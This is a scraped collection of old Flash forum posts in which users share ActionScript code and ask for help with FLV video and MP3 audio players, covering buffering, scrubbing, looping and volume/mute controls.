FlagPausa = false;
SoundPausePos = undefined;
} else {
MySound = new Sound();
volume = 100;
MySound.setVolume(volume);
MySound.loadSound(AudioPath, StreamFlag);
FlagPausa = false;
_parent.onEnterFrame = function() {
TB = MySound.getBytesTotal();
BL = MySound.getBytesLoaded();
if (BL != TB) {
TheText2.text = Math.round((BL/TB)*100)+"% Loaded";
} else {
TheText2.text = "100% Loaded";
delete _parent.onEnterFrame;
MySound.start();
}
};
}
};
StopBtn.onPress = function() {
MySound.stop();
Mystatus = "Press Play";
};
PauseBtn.onPress = function() {
SoundPausePos = MySound.position/1000;
MySound.stop();
FlagPausa = true;
};
//----------------------------------------------------------------------------------------------//
//xml archive example:
//<?xml version="1.0" encoding= "UTF-8" ?>
//<audioFiles>
//<AudioProps path ="TomorrowComesToday.mp3" songTitle = "Gorillaz - Tomorrow Comes Today"/>
//<AudioProps path ="SlowCountry.mp3" songTitle = "Gorillaz - Slow Country"/>
//<AudioProps path ="Punk.mp3" songTitle = "Gorillaz - Punk"/>
//</audioFiles>
//---------------------------------------------------------------------------------------------//
FLV Player Issues
Hi, I hope you guys can help me.
I'm making a flv player and I am completely new to flash so it's really blowing my mind.
I followed Lee's tutorials about making a player and made only a couple of changes to it.
I need the video not to loop, but after the movie finished I need to display a slide (movie clip with buttons on it) with a "buy this" button and "play again" button.
It seems to work fine when I let the movie play out on its own but if I scrub to the end then it gets funky. It just gets stuck on the last frame of the video and does not go to the endButton clip.
I've been messing around with the if statements in the beginning but that's taking me nowhere really fast.....
Here is my code....
Code:
var nc:NetConnection = new NetConnection();
nc.connect(null);
var ns:NetStream = new NetStream(nc);
ns.setBufferTime(10);
ns.onStatus = function(info){
if(info.code == "NetStream.Buffer.Full"){
bufferClip._visible = false;
}
if(info.code == "NetStream.Buffer.Empty"){
bufferClip._visible = false;
//theVideo._visible = false;
endButtons._visible = true;
}
//if(info.code == "NetStream.Play.Stop"){
//endButtons._visible = true;
//}
else{
endButtons._visible = false;
}
}
theVideo.attachVideo(ns);
ns.play("Movie2.flv");
endButtons.buyDvd.onRelease = function(){
getURL("link", "_target");
}
endButtons.playItAgain.onRelease = function(){
ns.seek(0);
}
buyItNow.onRelease = function(){
getURL("link", "_target");
}
rewindButton.onRelease = function() {
ns.seek(0);
}
playaButton.onRelease = function() {
ns.pause(false);
}
pauseddButton.onRelease = function() {
ns.pause(true);
}
//playButton.onRelease = function() {
//ns.pause();
//}
this.createEmptyMovieClip("vFrame",this.getNextHighestDepth());
vFrame.onEnterFrame = videoStatus;
var amountLoaded:Number;
var duration:Number;
ns["onMetaData"] = function(obj) {
duration = obj.duration;
}
function videoStatus() {
amountLoaded = ns.bytesLoaded / ns.bytesTotal;
loader.loadBarXX._width = amountLoaded * 165;
loader.scrub._x = ns.time / duration * 165;
}
loader.scrub.onRollOver = function() {
this.gotoAndStop("overScrub");
}
loader.scrub.onRollOut = function() {
this.gotoAndStop("blueScrub");
}
loader.scrub.onPress = function() {
vFrame.onEnterFrame = scrubit;
this.startDrag(false,0,this._y,165,this._y);
}
loader.scrub.onRelease = loader.scrub.onReleaseOutside = function() {
vFrame.onEnterFrame = videoStatus;
this.stopDrag();
}
function scrubit() {
ns.seek(Math.floor((loader.scrub._x/165)*duration));
}
_root.createEmptyMovieClip("vSound",_root.getNextHighestDepth());
vSound.attachAudio(ns);
var so:Sound = new Sound(vSound);
var volumeNum = 50;
so.setVolume(volumeNum);
var isMuted = false;
mute.onRollOver = function() {
if(!isMuted) {
this.gotoAndStop("onOver");
}
else{
this.gotoAndStop("muteOver");
}
}
mute.onRollOut = function() {
if(!isMuted) {
this.gotoAndStop("on");
}
else{
this.gotoAndStop("mute");
}
}
mute.onRelease = function() {
//if(so.getVolume() == 100) {
if(!isMuted) {
//muted
volumeNum = so.getVolume();
isMuted = true;
so.setVolume(0);
this.gotoAndStop("muteOver");
}
else{
//un muted
isMuted = false;
so.setVolume(volumeNum);
this.gotoAndStop("onOver");
}
}
volumeControler.volumeScrub.onRollOver = function() {
this.gotoAndStop("overVolScrub");
}
volumeControler.volumeScrub.onRollOut = function() {
this.gotoAndStop("blueVolScrub");
}
volumeControler.volumeScrub.onPress = function() {
this.startDrag(false,-22,this._y,25,this._y);
this.onEnterFrame = function() {
x = Math.floor(this._x+22)*2;
so.setVolume(x);
}
}
volumeControler.volumeScrub.onRelease = volumeControler.volumeScrub.onReleaseOutside = function() {
this.stopDrag();
delete this.onEnterFrame;
}
Thanks for looking
~L
Issues With FLV Player
I have created an flv player based on Lee’s tutorials and made a couple modifications to the player based on posts within the forum. For the most part the player works well, but it does have errors I could not fix myself. I also wanted to make additional modifications to the player and could not find info specific to the desired mods in the forum.
I have posted my player and it is loaded with a single video so one can see what I have so far.
http://www.yeticycles.com/Video/VideoTest.html
Problems.
The volume slider does not work properly in conjunction with the mute button. The main issue is that the mute button states are not displaying properly when the slider is a 0 volume and then when it is slid off 0 volume. For example when you slide the volume adjuster all the way to 0 volume, the volume is muted but the mute button shows improper “on†state. Then when you slide the adjuster off 0 volume it becomes un-muted, but the mute button shows the improper “mute†state.
The buffer does not seem to be consistent. For example when the video loads the buffering appears and buffs for the correct amount of time. But if the load progress is not fast enough and the scrubber catches up the video stalls, as it should, but sometimes the buffer message does not appear.
I have set the scrubber bounds based off another post in the forum and for the most part everything works fine, except for the on the initial video loading. On the initial loading you can drag the scrubber in a negative direction, but once the initial video buffering is complete this is no longer problem. I have posted a screen cap that displays the negative position.
http://www.yeticycles.com/Video/ScrubberBehind.jpg
Also another quirky behavior is the scrubber going past the load progress. Sometimes when the load progress is slow the scrubber catches up to the load progress and passes it before the video stalls and buffers. I have posted a screen cap that displays the position.
http://www.yeticycles.com/Video/ScrubberAhead.jpg
Modifications
In addition to the load progress bar and scrubber, I would also like a video progress bar. Essentially I would like a video progress bar that follows the position of the scrubber. I have created a mock up to better explain what I want to achieve. I would also like to accomplish this for the volume slider as well. I would appreciate any insight on how to achieve this.
http://www.yeticycles.com/Video/ProgessBar.jpg
I would also like the buffer message to fade in when needed and out when finished to have a smoother effect.
I would appreciate any help that can be provided on solving the problems or aiding in the modifications. I have posted the actionscript code below.
Code:
// Button Controls //
// Pause Button
pauseButton.onRollOver = over;
pauseButton.onRollOut = out;
pauseButton.onReleaseOutside = out;
// Pause Button
playButton.onRollOver = over;
playButton.onRollOut = out;
playButton.onReleaseOutside = out;
// Scrub Button
loader.scrub.onRollOver = over;
loader.scrub.onRollOut = out;
loader.scrub.onReleaseOutside = out;
// Volume SLider Button
vscrub.vadjust.onRollOver = over;
vscrub.vadjust.onRollOut = out;
vscrub.vadjust.onReleaseOutside = out;
// Rewind Button
rewindButton.onRollOver = over;
rewindButton.onRollOut = out;
rewindButton.onReleaseOutside = out;
// Forward Button
forwardButton.onRollOver = over;
forwardButton.onRollOut = out;
forwardButton.onReleaseOutside = out;
function over () {
this.gotoAndPlay(2);
}
function out () {
this.gotoAndPlay(7);
}
// Load video //
var nc:NetConnection = new NetConnection();
nc.connect(null);
var ns:NetStream = new NetStream(nc);
// Buffer //
ns.setBufferTime(10);
var buffTime = 10;
ns.onStatus = function(info) {
if(info.code == "NetStream.Buffer.Full") {
bufferClip._visible = false;
}
if(info.code == "NetStream.Buffer.Empty") {
bufferClip._visible = true;
}
if(info.code == "NetStream.Play.Stop") {
ns.seek(0);
ns.pause();
playButton._visible = true;
pauseButton._visible = false;
}
}
theVideo.attachVideo(ns);
ns.play("VideoMedia/2006RiderBioGraves700px.flv");
// Controls //
playButton._visible = false;
playButton.onRelease = function() {
ns.pause(false);
playButton._visible = false;
pauseButton._visible = true;
}
playButton._visible = false;
pauseButton.onRelease = function() {
ns.pause(true);
playButton._visible = true;
pauseButton._visible = false;
}
rewindButton.onPress = function() {
clearInterval(intervalID);
intervalID = setInterval(vidRwd, 500);
}
rewindButton.onRelease = function() {
clearInterval(intervalID);
}
function vidRwd() {
ns.seek(ns.time-15);
}
var intervalID:Number;
forwardButton.onPress = function() {
clearInterval(intervalID);
intervalID = setInterval(vidFwd, 500);
}
forwardButton.onRelease = function() {
clearInterval(intervalID);
}
function vidFwd() {
ns.seek(ns.time+15);
}
//Volume Slider //
_root.createEmptyMovieClip("vSound",_root.getNextHighestDepth());
vSound.attachAudio(ns);
var so:Sound = new Sound(vSound);
so.setVolume(75);
var currentLevel:Number = so.getVolume();
var volInterval;
var vstart = vscrub.vadjust._x;
vscrub.vadjust._x = vstart+(100*.75);
vscrub.vadjust.onPress = function() {
volInterval = setInterval (volLevel, 10)
this.startDrag(false,0,this._y,90,this._y);
};
vscrub.vadjust.onRelease = vscrub.vadjust.onReleaseOutside = function() {
clearInterval (volInterval);
this.stopDrag();
this.gotoAndPlay(7);
};
function volLevel() {
so.setVolume(Math.floor((vscrub.vadjust._x /90)*100));
currentLevel = so.getVolume();
}
// Mute Button //
mute.onRollOver = function() {
if(so.getVolume() > 0) {
this.gotoAndStop("onOver");
}
else {
this.gotoAndStop("muteOver");
}
}
mute.onRollOut = function() {
if(so.getVolume() > 0) {
this.gotoAndStop("on");
}
else {
this.gotoAndStop("mute");
}
}
mute.onRelease = function() {
if(so.getVolume() > 0) {
so.setVolume(0);
this.gotoAndStop("muteOver");
}
else {
so.setVolume(currentLevel);
this.gotoAndStop("onOver");
}
}
// Srubber //
this.createEmptyMovieClip("vFrame",this.getNextHighestDepth());
vFrame.onEnterFrame = videoStatus;
ns["onMetaData"] = function(obj) {
duration = obj.duration;
}
function videoStatus() {
amountLoaded = ns.bytesLoaded / ns.bytesTotal;
loader.loadbar._width = amountLoaded * 500;
if (loader.loadbar._width == 500) {
buffTime = 10;
}
loader.scrub._x = (ns.time / duration * 490);
}
var scrubInterval;
loader.scrub.onPress = function() {
vFrame.onEnterFrame = scrubit;
this.startDrag(false,0,this._y,
Math.round(loader.loadbar._width-buffTime),this._y);
}
loader.scrub.onRelease = loader.scrub.onReleaseOutside = function() {
vFrame.onEnterFrame = videoStatus;
this.stopDrag();
this.gotoAndPlay(7);
}
function scrubit () {
ns.seek(Math.floor((loader.scrub._x/490)*duration));
}
CD Audio Player
Does anyone know where I can get a tutorial on building a Flash based CD player?
Audio Player
I just made my playback buttons, now i want to have 3 mp3s.. or midis, and When the user clicks >>| it goes to the next song, and i want the play to loop the current playing song, and then the stop, stops the song alltogether, could somehelp please help me with this?
Audio Player
Hey guys,
Was hoping someone could help me out here. I'm looking for a nice audio player that will be used for about 3 or 4 tracks that is not over the time design wise, but similar if not identical to the audio player on www.iso50.com
Also, if anyone knows of a script that is like 24-7 media where you mouseover a navigation button and the rest of the navigation disappears, that would be cool. I love the effect and i want to give it a shot. Example here: http://www.24-7media.de/Cannonball/
If someone could point me in the direction to a simlar script or give me some direction as to where i can go with this i would much appreciate it. Thanks for your time.
Help With Audio Player Plz
I am trying to make an audio player with flash 2 (I know - but it's the full version and I have it on cd (mx is too big to download with a 56k!)) but I can't get it to work at all. Could somebody please help me by running through the steps needed to make an audio player. All I want is a play and a stop button on a background colour! It sounds stupid but I really can't do this. I haven't used flash very much before. Please help...
|